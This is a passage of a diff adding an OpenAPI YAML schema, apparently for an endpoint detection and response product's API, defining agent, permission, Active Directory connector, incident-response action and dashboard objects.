+      - target_domain_name
+      - target_image
+      - target_object
+      - target_process_guid
+      - target_process_id
+      - target_process_unique_id
+      - target_thread_id
+      - target_user
+      - target_user_id
+      - target_user_name
+      - target_username
+      - technique
+      - tenant
+      - text_payload
+      - text_records
+      - thread
+      - thread_dump
+      - thread_id
+      - thread_sha256
+      - threat_key
+      - threat_type
+      - threat_values
+      - tid
+      - timestamp
+      - transport_protocol
+      - transport_protocol_number
+      - type
+      - uid
+      - url
+      - url_zone
+      - user
+      - user_agent
+      - user_event
+      - user_name
+      - user_sid
+      - username
+      - usersid
+      - utc_time
+      - vendor_id
+      - vendor_name
+      - whitelisted_by
+      - win32k_get_async_key_state
+      - win32k_register_raw_input_devices
+      - win32k_set_windows_hook_ex
+      - windows
+      - windows_service
+      - wmi_event
+      - written_file_size
+      - zone_id
+    type: object
+  AcquireQuarantineFile:
+    properties:
+      local_id:
+        format: uuid
+        title: Local id
+        type: string
+    required:
+      - local_id
+    type: object
+  AcquisitionPermissions:
+    properties:
+      capture_ram:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Capture ram
+        type: string
+      collect_raw_data:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Collect raw data
+        type: string
+      download_directory:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Download directory
+        type: string
+      download_file:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Download file
+        type: string
+      network_sniffer:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Network sniffer
+        type: string
+      parse_filesystem:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Parse filesystem
+        type: string
+      process_dumper:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Process dumper
+        type: string
+    required:
+      - capture_ram
+      - collect_raw_data
+      - download_directory
+      - download_file
+      - network_sniffer
+      - parse_filesystem
+      - process_dumper
+    type: object
+  Action:
+    properties:
+      params:
+        title: Params
+        type: object
+      value:
+        enum:
+          - IOCScan
+          - agentDiagnostic
+          - agentMinidump
+          - avScan
+          - collectRAWEvidences
+          - deleteScheduledTask
+          - deleteService
+          - downloadDirectory
+          - downloadFile
+          - filepathDeleter
+          - getEVT
+          - getHives
+          - getLoadedDriverList
+          - getNetworkShare
+          - getPipeList
+          - getPrefetch
+          - getProcessList
+          - getQFE
+          - getRawHives
+          - getRawPrefetch
+          - getRawSystemHives
+          - getRawUserHives
+          - getRawWMI
+          - getScheduledTasks
+          - getSessions
+          - getStartupFileList
+          - getWMI
+          - knownProcessFinderKiller
+          - listDirectory
+          - memoryDumper
+          - networkDiscovery
+          - networkSniffer
+          - parseFilesystem
+          - persistanceScanner
+          - processDumper
+          - profileMemory
+          - quarantineAcquireFile
+          - quarantineAdd
+          - quarantineDelete
+          - quarantineRestore
+          - registryOperation
+          - searchProcessDumper
+          - wildcardProcessFinderKiller
+          - yaraScan
+        title: Value
+        type: string
+    required:
+      - params
+      - value
+    type: object
+  ActionRemediationPermissions:
+    properties:
+      acquisition:
+        $ref: '#/definitions/AcquisitionPermissions'
+      debug:
+        $ref: '#/definitions/DebugPermissions'
+      endpoint_isolation:
+        title: Endpoint isolation
+        type: boolean
+      evidence:
+        $ref: '#/definitions/EvidencePermissions'
+      info:
+        $ref: '#/definitions/InfoPermissions'
+      persistence:
+        $ref: '#/definitions/PersistencePermissions'
+      remediation:
+        $ref: '#/definitions/RemediationPermissions'
+      scan:
+        $ref: '#/definitions/ScanPermissions'
+    required:
+      - acquisition
+      - debug
+      - endpoint_isolation
+      - evidence
+      - info
+      - persistence
+      - remediation
+      - scan
+    type: object
+  Actions:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+    required:
+      - block_on_agent
+      - enabled
+      - endpoint_detection
+      - quarantine_on_agent
+    type: object
+  ActiveCve:
+    properties:
+      agent:
+        $ref: '#/definitions/VulnerabilityAgent'
+      cve:
+        $ref: '#/definitions/Cve'
+      vulnerable_installations:
+        items:
+          $ref: '#/definitions/ShortInstallationWithVersion'
+        type: array
+    required:
+      - agent
+      - cve
+      - vulnerable_installations
+    type: object
+  ActiveCveListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/ActiveCve'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  ActiveDirectory:
+    properties:
+      auto_scan_interval:
+        default: PT23H
+        minLength: 1
+        title: Auto scan interval
+        type: string
+      base_dn:
+        minLength: 1
+        title: Base dn
+        type: string
+        x-nullable: true
+      bind_account_password:
+        minLength: 1
+        title: Bind account password
+        type: string
+        x-nullable: true
+      bind_account_username:
+        minLength: 1
+        title: Bind account username
+        type: string
+        x-nullable: true
+      connector_type:
+        enum:
+          - assemblyline
+          - base
+          - cape
+          - connector_misp
+          - export
+          - export_elastic
+          - export_s3
+          - export_secops
+          - export_splunk
+          - glimps
+          - irma
+          - ldap_auth
+          - orion
+          - proxy
+          - thehive
+          - virustotal
+        readOnly: true
+        title: Connector type
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+        x-nullable: true
+      domain:
+        minLength: 1
+        title: Domain
+        type: string
+        x-nullable: true
+      enable_auto_scan:
+        default: true
+        title: Enable auto scan
+        type: boolean
+      enable_group_creation:
+        default: true
+        title: Enable group creation
+        type: boolean
+      enable_unprotected_asset_detection:
+        default: false
+        title: Enable unprotected asset detection
+        type: boolean
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modified:
+        format: date-time
+        readOnly: true
+        title: Last modified
+        type: string
+      last_modifier:
+        minLength: 1
+        readOnly: true
+        title: Last modifier
+        type: string
+      missed_scans_before_delete:
+        default: 4
+        minimum: 1
+        title: Missed scans before delete
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      selected_agent:
+        readOnly: true
+        title: Selected agent
+        type: string
+      selected_agent_id:
+        minLength: 1
+        title: Selected agent id
+        type: string
+        x-nullable: true
+      selected_domain_controller_id:
+        minLength: 1
+        title: Selected domain controller id
+        type: string
+        x-nullable: true
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      type:
+        default: active_directory
+        enum:
+          - active_directory
+        readOnly: true
+        title: Type
+        type: string
+      use_bind_account:
+        default: false
+        title: Use bind account
+        type: boolean
+      use_ssl:
+        default: false
+        title: Use ssl
+        type: boolean
+    required:
+      - name
+    type: object
+    x-nullable: true
+  ActivePasswordResetLink:
+    properties:
+      created_at:
+        format: date-time
+        title: Created at
+        type: string
+      created_by:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      duration_minutes:
+        title: Duration minutes
+        type: integer
+      expires_at:
+        format: date-time
+        title: Expires at
+        type: string
+    required:
+      - created_at
+      - created_by
+      - duration_minutes
+      - expires_at
+    type: object
+  ActiveUserbyIDs:
+    properties:
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+      is_active:
+        title: Is active
+        type: boolean
+    required:
+      - ids
+      - is_active
+    type: object
+  AddCommentThreat:
+    properties:
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+    required:
+      - comment
+    type: object
+  AddToQuarantine:
+    properties:
+      comment:
+        title: Comment
+        type: string
+      values:
+        items:
+          $ref: '#/definitions/AddToQuarantineItem'
+        type: array
+    required:
+      - values
+    type: object
+  AddToQuarantineItem:
+    properties:
+      file_path:
+        minLength: 1
+        title: File path
+        type: string
+    required:
+      - file_path
+    type: object
+  AdministrationPermissions:
+    properties:
+      can_change_global_settings:
+        title: Can change global settings
+        type: boolean
+      can_download_agent_installer:
+        title: Can download agent installer
+        type: boolean
+      monitoring:
+        $ref: '#/definitions/MonitoringPermissions'
+      roles:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Roles
+        type: string
+      users:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Users
+        type: string
+    required:
+      - can_change_global_settings
+      - can_download_agent_installer
+      - monitoring
+      - roles
+      - users
+    type: object
+  AffectedApplication:
+    properties:
+      product:
+        minLength: 1
+        title: Product
+        type: string
+      vendor:
+        minLength: 1
+        title: Vendor
+        type: string
+    required:
+      - product
+      - vendor
+    type: object
+  Agent:
+    properties:
+      additional_info:
+        $ref: '#/definitions/AgentAdditionalInfoValues'
+      antivirus_is_up_to_date:
+        readOnly: true
+        title: Antivirus is up to date
+        type: boolean
+      antivirus_last_update_date:
+        format: date-time
+        readOnly: true
+        title: Antivirus last update date
+        type: string
+        x-nullable: true
+      antivirus_name:
+        minLength: 1
+        readOnly: true
+        title: Antivirus name
+        type: string
+        x-nullable: true
+      antivirus_policy_revision:
+        readOnly: true
+        title: Antivirus policy revision
+        type: integer
+        x-nullable: true
+      antivirus_rules_last_update_date:
+        format: date-time
+        readOnly: true
+        title: Antivirus rules last update date
+        type: string
+        x-nullable: true
+      antivirus_rules_version:
+        minLength: 1
+        readOnly: true
+        title: Antivirus rules version
+        type: string
+        x-nullable: true
+      antivirus_version:
+        minLength: 1
+        readOnly: true
+        title: Antivirus version
+        type: string
+        x-nullable: true
+      avg_av_cpu:
+        readOnly: true
+        title: Avg av cpu
+        type: number
+        x-nullable: true
+      avg_av_memory:
+        readOnly: true
+        title: Avg av memory
+        type: number
+        x-nullable: true
+      avg_cpu:
+        readOnly: true
+        title: Avg cpu
+        type: number
+        x-nullable: true
+      avg_memory:
+        readOnly: true
+        title: Avg memory
+        type: number
+        x-nullable: true
+      avg_system_cpu:
+        readOnly: true
+        title: Avg system cpu
+        type: number
+        x-nullable: true
+      avg_system_memory:
+        readOnly: true
+        title: Avg system memory
+        type: number
+        x-nullable: true
+      bitness:
+        minLength: 1
+        readOnly: true
+        title: Bitness
+        type: string
+        x-nullable: true
+      boot_loop_protection_boot_count:
+        readOnly: true
+        title: Boot loop protection boot count
+        type: integer
+        x-nullable: true
+      boot_loop_protection_end_date:
+        format: date-time
+        readOnly: true
+        title: Boot loop protection end date
+        type: string
+        x-nullable: true
+      cpu_count:
+        readOnly: true
+        title: Cpu count
+        type: integer
+        x-nullable: true
+      cpu_frequency:
+        readOnly: true
+        title: Cpu frequency
+        type: integer
+        x-nullable: true
+      description:
+        minLength: 1
+        title: Description
+        type: string
+        x-nullable: true
+      disk_count:
+        readOnly: true
+        title: Disk count
+        type: integer
+      distro_version_id:
+        minLength: 1
+        readOnly: true
+        title: Distro version id
+        type: string
+        x-nullable: true
+      distroid:
+        minLength: 1
+        readOnly: true
+        title: Distroid
+        type: string
+        x-nullable: true
+      dnsdomainname:
+        minLength: 1
+        readOnly: true
+        title: Dnsdomainname
+        type: string
+        x-nullable: true
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      domainname:
+        minLength: 1
+        readOnly: true
+        title: Domainname
+        type: string
+        x-nullable: true
+      driver_enabled:
+        readOnly: true
+        title: Driver enabled
+        type: boolean
+        x-nullable: true
+      driver_policy:
+        readOnly: true
+        title: Driver policy
+        type: boolean
+        x-nullable: true
+      driver_version:
+        minLength: 1
+        readOnly: true
+        title: Driver version
+        type: string
+        x-nullable: true
+      effective_antivirus_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective antivirus policy id
+        type: string
+        x-nullable: true
+      effective_antivirus_policy_revision:
+        readOnly: true
+        title: Effective antivirus policy revision
+        type: integer
+        x-nullable: true
+      effective_correlation_revision:
+        readOnly: true
+        title: Effective correlation revision
+        type: integer
+        x-nullable: true
+      effective_driver_blocklists_revision:
+        readOnly: true
+        title: Effective driver blocklists revision
+        type: integer
+        x-nullable: true
+      effective_ioc_revision:
+        readOnly: true
+        title: Effective ioc revision
+        type: integer
+        x-nullable: true
+      effective_sigma_revision:
+        readOnly: true
+        title: Effective sigma revision
+        type: integer
+        x-nullable: true
+      effective_usb_device_control_revision:
+        readOnly: true
+        title: Effective usb device control revision
+        type: integer
+        x-nullable: true
+      effective_whitelist_revision:
+        readOnly: true
+        title: Effective whitelist revision
+        type: integer
+        x-nullable: true
+      effective_yara_revision:
+        readOnly: true
+        title: Effective yara revision
+        type: integer
+        x-nullable: true
+      encrypted_disk_count:
+        readOnly: true
+        title: Encrypted disk count
+        type: integer
+      entra_device_id:
+        minLength: 1
+        title: Entra device id
+        type: string
+        x-nullable: true
+      entra_join_type:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Entra join type
+        type: integer
+        x-nullable: true
+      entra_tenant_id:
+        minLength: 1
+        title: Entra tenant id
+        type: string
+        x-nullable: true
+      external_ipaddress:
+        minLength: 1
+        readOnly: true
+        title: External ipaddress
+        type: string
+        x-nullable: true
+      firstseen:
+        format: date-time
+        readOnly: true
+        title: Firstseen
+        type: string
+        x-nullable: true
+      group_count:
+        title: Group count
+        type: integer
+      groups:
+        items:
+          $ref: '#/definitions/BasicGroup'
+        readOnly: true
+        type: array
+      hardware_address:
+        minLength: 1
+        readOnly: true
+        title: Hardware address
+        type: string
+        x-nullable: true
+      has_valid_password:
+        readOnly: true
+        title: Has valid password
+        type: boolean
+      host:
+        minLength: 1
+        title: Host
+        type: string
+        x-nullable: true
+      hostname:
+        minLength: 1
+        readOnly: true
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      installdate:
+        minLength: 1
+        readOnly: true
+        title: Installdate
+        type: string
+        x-nullable: true
+      ipaddress:
+        minLength: 1
+        readOnly: true
+        title: Ipaddress
+        type: string
+        x-nullable: true
+      ipmask:
+        minLength: 1
+        readOnly: true
+        title: Ipmask
+        type: string
+        x-nullable: true
+      is_ppl_antimalware:
+        readOnly: true
+        title: Is ppl antimalware
+        type: boolean
+        x-nullable: true
+      isolation_policy:
+        readOnly: true
+        title: Isolation policy
+        type: boolean
+        x-nullable: true
+      isolation_state:
+        readOnly: true
+        title: Isolation state
+        type: boolean
+        x-nullable: true
+      last_upgrade_attempt:
+        format: date-time
+        readOnly: true
+        title: Last upgrade attempt
+        type: string
+        x-nullable: true
+      last_upgrade_success:
+        format: date-time
+        readOnly: true
+        title: Last upgrade success
+        type: string
+        x-nullable: true
+      lastseen:
+        format: date-time
+        readOnly: true
+        title: Lastseen
+        type: string
+        x-nullable: true
+      lastseen_error:
+        format: date-time
+        readOnly: true
+        title: Lastseen error
+        type: string
+        x-nullable: true
+      lastseen_warning:
+        format: date-time
+        readOnly: true
+        title: Lastseen warning
+        type: string
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      machine_account_sid:
+        minLength: 1
+        title: Machine account sid
+        type: string
+        x-nullable: true
+      machine_boottime:
+        format: date-time
+        readOnly: true
+        title: Machine boottime
+        type: string
+        x-nullable: true
+      machine_serial:
+        minLength: 1
+        readOnly: true
+        title: Machine serial
+        type: string
+        x-nullable: true
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      os_install_date:
+        format: date-time
+        readOnly: true
+        title: Os install date
+        type: string
+      osbuild:
+        readOnly: true
+        title: Osbuild
+        type: integer
+        x-nullable: true
+      osid:
+        minLength: 1
+        readOnly: true
+        title: Osid
+        type: string
+        x-nullable: true
+      osmajor:
+        readOnly: true
+        title: Osmajor
+        type: integer
+        x-nullable: true
+      osminor:
+        readOnly: true
+        title: Osminor
+        type: integer
+        x-nullable: true
+      osproducttype:
+        minLength: 1
+        readOnly: true
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      osrevision:
+        readOnly: true
+        title: Osrevision
+        type: integer
+        x-nullable: true
+      ostype:
+        minLength: 1
+        readOnly: true
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        readOnly: true
+        title: Osversion
+        type: string
+        x-nullable: true
+      pinned_version:
+        minLength: 1
+        readOnly: true
+        title: Pinned version
+        type: string
+        x-nullable: true
+      policy:
+        $ref: '#/definitions/PolicyLight'
+      policy_set:
+        $ref: '#/definitions/PolicySetLight'
+      port:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Port
+        type: integer
+        x-nullable: true
+      producttype:
+        minLength: 1
+        readOnly: true
+        title: Producttype
+        type: string
+        x-nullable: true
+      protocol:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Protocol
+        type: integer
+        x-nullable: true
+      proxy_host:
+        minLength: 1
+        title: Proxy host
+        type: string
+        x-nullable: true
+      proxy_port:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Proxy port
+        type: integer
+        x-nullable: true
+      proxy_protocol:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Proxy protocol
+        type: integer
+        x-nullable: true
+      public_server_signature:
+        minLength: 1
+        title: Public server signature
+        type: string
+        x-nullable: true
+      quarantine_last_update:
+        format: date-time
+        readOnly: true
+        title: Quarantine last update
+        type: string
+        x-nullable: true
+      refresh_properties_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        readOnly: true
+        title: Refresh properties status
+        type: string
+        x-nullable: true
+      refresh_quarantine_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        readOnly: true
+        title: Refresh quarantine status
+        type: string
+        x-nullable: true
+      rollback_version:
+        minLength: 1
+        readOnly: true
+        title: Rollback version
+        type: string
+        x-nullable: true
+      run_policy_automation:
+        title: Run policy automation
+        type: boolean
+        x-nullable: true
+      servicepack:
+        minLength: 1
+        readOnly: true
+        title: Servicepack
+        type: string
+        x-nullable: true
+      should_change_id:
+        readOnly: true
+        title: Should change id
+        type: boolean
+      starttime:
+        format: date-time
+        readOnly: true
+        title: Starttime
+        type: string
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+        readOnly: true
+        title: Status
+        type: string
+      subnet:
+        $ref: '#/definitions/SimpleSubnet'
+      task_statuses:
+        additionalProperties:
+          additionalProperties:
+            type: boolean
+          type: object
+        readOnly: true
+        title: Task statuses
+        type: object
+      telemetry:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Telemetry
+        type: object
+      telemetry_last_update:
+        format: date-time
+        readOnly: true
+        title: Telemetry last update
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      total_memory:
+        readOnly: true
+        title: Total memory
+        type: number
+        x-nullable: true
+      uninstall_status:
+        readOnly: true
+        title: Uninstall status
+        type: integer
+        x-nullable: true
+      update_method:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Update method
+        type: integer
+        x-nullable: true
+      update_status:
+        readOnly: true
+        title: Update status
+        type: integer
+        x-nullable: true
+      upgrade_consecutive_fail_count:
+        readOnly: true
+        title: Upgrade consecutive fail count
+        type: integer
+        x-nullable: true
+      upgrade_failure_reason:
+        minLength: 1
+        readOnly: true
+        title: Upgrade failure reason
+        type: string
+        x-nullable: true
+      upgrade_status:
+        enum:
+          - agent_lost
+          - canceled
+          - done
+          - failed
+          - in_progress
+          - pending
+        readOnly: true
+        title: Upgrade status
+        type: string
+        x-nullable: true
+      vdi_mode:
+        enum:
+          - hostname
+          - mac
+          - mac_and_hostname
+          - unknown
+        readOnly: true
+        title: Vdi mode
+        type: string
+      vdi_salt:
+        minLength: 1
+        title: Vdi salt
+        type: string
+        x-nullable: true
+      version:
+        minLength: 1
+        readOnly: true
+        title: Version
+        type: string
+        x-nullable: true
+      windows_groups_last_update:
+        format: date-time
+        readOnly: true
+        title: Windows groups last update
+        type: string
+        x-nullable: true
+      windows_users_last_update:
+        format: date-time
+        readOnly: true
+        title: Windows users last update
+        type: string
+        x-nullable: true
+    required:
+      - id
+    type: object
+  AgentActionData:
+    properties:
+      policy_change:
+        $ref: '#/definitions/PolicyUpdateData'
+      policy_update:
+        $ref: '#/definitions/PolicyUpdateData'
+      version_update:
+        $ref: '#/definitions/VersionUpdateData'
+    type: object
+  AgentActionHistory:
+    properties:
+      action_data:
+        $ref: '#/definitions/AgentActionData'
+      action_type:
+        enum:
+          - policy_change
+          - policy_update
+          - version_update
+        title: Action type
+        type: string
+      agents:
+        items:
+          format: uuid
+          type: string
+        type: array
+        uniqueItems: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+    required:
+      - action_data
+      - action_type
+      - agents
+      - id
+    type: object
+  AgentAdditionalInfoValues:
+    properties:
+      additional_info1:
+        minLength: 1
+        title: Additional info1
+        type: string
+        x-nullable: true
+      additional_info2:
+        minLength: 1
+        title: Additional info2
+        type: string
+        x-nullable: true
+      additional_info3:
+        minLength: 1
+        title: Additional info3
+        type: string
+        x-nullable: true
+      additional_info4:
+        minLength: 1
+        title: Additional info4
+        type: string
+        x-nullable: true
+    type: object
+  AgentAdditionalInfos:
+    properties:
+      additional_infos:
+        items:
+          type: string
+        maxItems: 4
+        minItems: 1
+        type: array
+    required:
+      - additional_infos
+    type: object
+  AgentApplication:
+    properties:
+      active:
+        readOnly: true
+        title: Active
+        type: boolean
+      app_type:
+        minLength: 1
+        readOnly: true
+        title: App type
+        type: string
+        x-nullable: true
+      cpe_prefix:
+        minLength: 1
+        readOnly: true
+        title: Cpe prefix
+        type: string
+        x-nullable: true
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      first_version:
+        minLength: 1
+        readOnly: true
+        title: First version
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      installation_count:
+        readOnly: true
+        title: Installation count
+        type: integer
+      installation_date:
+        format: date-time
+        readOnly: true
+        title: Installation date
+        type: string
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      last_version:
+        minLength: 1
+        readOnly: true
+        title: Last version
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      ostype:
+        minLength: 1
+        readOnly: true
+        title: Ostype
+        type: string
+      package_manager:
+        enum:
+          - apt
+          - pacman
+          - rpm
+          - unspecified
+        readOnly: true
+        title: Package manager
+        type: string
+        x-nullable: true
+      publisher:
+        minLength: 1
+        readOnly: true
+        title: Publisher
+        type: string
+        x-nullable: true
+    type: object
+  AgentAutoUpgradeAllChannels:
+    properties:
+      latest:
+        minLength: 1
+        title: Latest
+        type: string
+      stable:
+        minLength: 1
+        title: Stable
+        type: string
+    required:
+      - latest
+      - stable
+    type: object
+  AgentAutoUpgradeChannel:
+    properties:
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - version
+    type: object
+  AgentCleaning:
+    properties:
+      clean_jobs:
+        default: false
+        title: Clean jobs
+        type: boolean
+      jobs_max_days:
+        default: 60
+        minimum: 1
+        title: Jobs max days
+        type: integer
+    type: object
+  AgentDashboardAgentsStat:
+    properties:
+      access_denied:
+        title: Access denied
+        type: integer
+      access_denied_percent:
+        title: Access denied percent
+        type: number
+      idle:
+        title: Idle
+        type: integer
+      idle_percent:
+        title: Idle percent
+        type: number
+      isolate:
+        title: Isolate
+        type: integer
+      isolate_percent:
+        title: Isolate percent
+        type: number
+      isolated:
+        title: Isolated
+        type: integer
+      isolated_percent:
+        title: Isolated percent
+        type: number
+      offline:
+        title: Offline
+        type: integer
+      offline_percent:
+        title: Offline percent
+        type: number
+      online:
+        title: Online
+        type: integer
+      online_percent:
+        title: Online percent
+        type: number
+      total:
+        title: Total
+        type: integer
+    required:
+      - access_denied
+      - access_denied_percent
+      - idle
+      - idle_percent
+      - isolate
+      - isolate_percent
+      - isolated
+      - isolated_percent
+      - offline
+      - offline_percent
+      - online
+      - online_percent
+      - total
+    type: object
+  AgentDashboardJobsStat:
+    properties:
+      error:
+        title: Error
+        type: integer
+      error_percent:
+        title: Error percent
+        type: number
+      finished:
+        title: Finished
+        type: integer
+      finished_percent:
+        title: Finished percent
+        type: number
+      total:
+        title: Total
+        type: integer
+      total_jobs:
+        title: Total jobs
+        type: integer
+      working:
+        title: Working
+        type: integer
+      working_percent:
+        title: Working percent
+        type: number
+    required:
+      - error
+      - error_percent
+      - finished
+      - finished_percent
+      - total
+      - total_jobs
+      - working
+      - working_percent
+    type: object
+  AgentDashboardStat:
+    properties:
+      agents:
+        $ref: '#/definitions/AgentDashboardAgentsStat'
+      binaries:
+        title: Binaries
+        type: integer
+      data:
+        title: Data
+        type: integer
+      jobs:
+        $ref: '#/definitions/AgentDashboardJobsStat'
+      versions:
+        additionalProperties:
+          type: integer
+        title: Versions
+        type: object
+    required:
+      - agents
+      - binaries
+      - data
+      - jobs
+      - versions
+    type: object
+  AgentDatasetsStat:
+    properties:
+      datasets:
+        items:
+          $ref: '#/definitions/Data'
+        type: array
+      labels:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - datasets
+      - labels
+    type: object
+  AgentDetail:
+    properties:
+      additional_info:
+        $ref: '#/definitions/AgentAdditionalInfoValues'
+      antivirus_is_up_to_date:
+        readOnly: true
+        title: Antivirus is up to date
+        type: boolean
+      antivirus_last_update_date:
+        format: date-time
+        readOnly: true
+        title: Antivirus last update date
+        type: string
+        x-nullable: true
+      antivirus_name:
+        minLength: 1
+        readOnly: true
+        title: Antivirus name
+        type: string
+        x-nullable: true
+      antivirus_policy_revision:
+        readOnly: true
+        title: Antivirus policy revision
+        type: integer
+        x-nullable: true
+      antivirus_rules_last_update_date:
+        format: date-time
+        readOnly: true
+        title: Antivirus rules last update date
+        type: string
+        x-nullable: true
+      antivirus_rules_version:
+        minLength: 1
+        readOnly: true
+        title: Antivirus rules version
+        type: string
+        x-nullable: true
+      antivirus_version:
+        minLength: 1
+        readOnly: true
+        title: Antivirus version
+        type: string
+        x-nullable: true
+      application_count:
+        readOnly: true
+        title: Application count
+        type: integer
+      avg_av_cpu:
+        readOnly: true
+        title: Avg av cpu
+        type: number
+        x-nullable: true
+      avg_av_memory:
+        readOnly: true
+        title: Avg av memory
+        type: number
+        x-nullable: true
+      avg_cpu:
+        readOnly: true
+        title: Avg cpu
+        type: number
+        x-nullable: true
+      avg_memory:
+        readOnly: true
+        title: Avg memory
+        type: number
+        x-nullable: true
+      avg_system_cpu:
+        readOnly: true
+        title: Avg system cpu
+        type: number
+        x-nullable: true
+      avg_system_memory:
+        readOnly: true
+        title: Avg system memory
+        type: number
+        x-nullable: true
+      bitness:
+        minLength: 1
+        readOnly: true
+        title: Bitness
+        type: string
+        x-nullable: true
+      boot_loop_protection_boot_count:
+        readOnly: true
+        title: Boot loop protection boot count
+        type: integer
+        x-nullable: true
+      boot_loop_protection_end_date:
+        format: date-time
+        readOnly: true
+        title: Boot loop protection end date
+        type: string
+        x-nullable: true
+      cpu_count:
+        readOnly: true
+        title: Cpu count
+        type: integer
+        x-nullable: true
+      cpu_frequency:
+        readOnly: true
+        title: Cpu frequency
+        type: integer
+        x-nullable: true
+      description:
+        minLength: 1
+        title: Description
+        type: string
+        x-nullable: true
+      disk_count:
+        readOnly: true
+        title: Disk count
+        type: integer
+      distro_version_id:
+        minLength: 1
+        readOnly: true
+        title: Distro version id
+        type: string
+        x-nullable: true
+      distroid:
+        minLength: 1
+        readOnly: true
+        title: Distroid
+        type: string
+        x-nullable: true
+      dnsdomainname:
+        minLength: 1
+        readOnly: true
+        title: Dnsdomainname
+        type: string
+        x-nullable: true
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      domainname:
+        minLength: 1
+        readOnly: true
+        title: Domainname
+        type: string
+        x-nullable: true
+      driver_enabled:
+        readOnly: true
+        title: Driver enabled
+        type: boolean
+        x-nullable: true
+      driver_policy:
+        readOnly: true
+        title: Driver policy
+        type: boolean
+        x-nullable: true
+      driver_version:
+        minLength: 1
+        readOnly: true
+        title: Driver version
+        type: string
+        x-nullable: true
+      effective_antivirus_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective antivirus policy id
+        type: string
+        x-nullable: true
+      effective_antivirus_policy_revision:
+        readOnly: true
+        title: Effective antivirus policy revision
+        type: integer
+        x-nullable: true
+      effective_antivirus_profile_id:
+        readOnly: true
+        title: Effective antivirus profile id
+        type: string
+      effective_antivirus_profile_revision:
+        readOnly: true
+        title: Effective antivirus profile revision
+        type: integer
+      effective_correlation_revision:
+        readOnly: true
+        title: Effective correlation revision
+        type: integer
+        x-nullable: true
+      effective_device_control_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective device control policy id
+        type: string
+        x-nullable: true
+      effective_device_control_policy_revision:
+        readOnly: true
+        title: Effective device control policy revision
+        type: integer
+        x-nullable: true
+      effective_driver_blocklists_revision:
+        readOnly: true
+        title: Effective driver blocklists revision
+        type: integer
+        x-nullable: true
+      effective_fim_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective fim policy id
+        type: string
+        x-nullable: true
+      effective_fim_policy_revision:
+        readOnly: true
+        title: Effective fim policy revision
+        type: integer
+        x-nullable: true
+      effective_firewall_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective firewall policy id
+        type: string
+        x-nullable: true
+      effective_firewall_policy_revision:
+        readOnly: true
+        title: Effective firewall policy revision
+        type: integer
+        x-nullable: true
+      effective_ioc_revision:
+        readOnly: true
+        title: Effective ioc revision
+        type: integer
+        x-nullable: true
+      effective_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective policy id
+        type: string
+        x-nullable: true
+      effective_policy_revision:
+        readOnly: true
+        title: Effective policy revision
+        type: integer
+        x-nullable: true
+      effective_sigma_revision:
+        readOnly: true
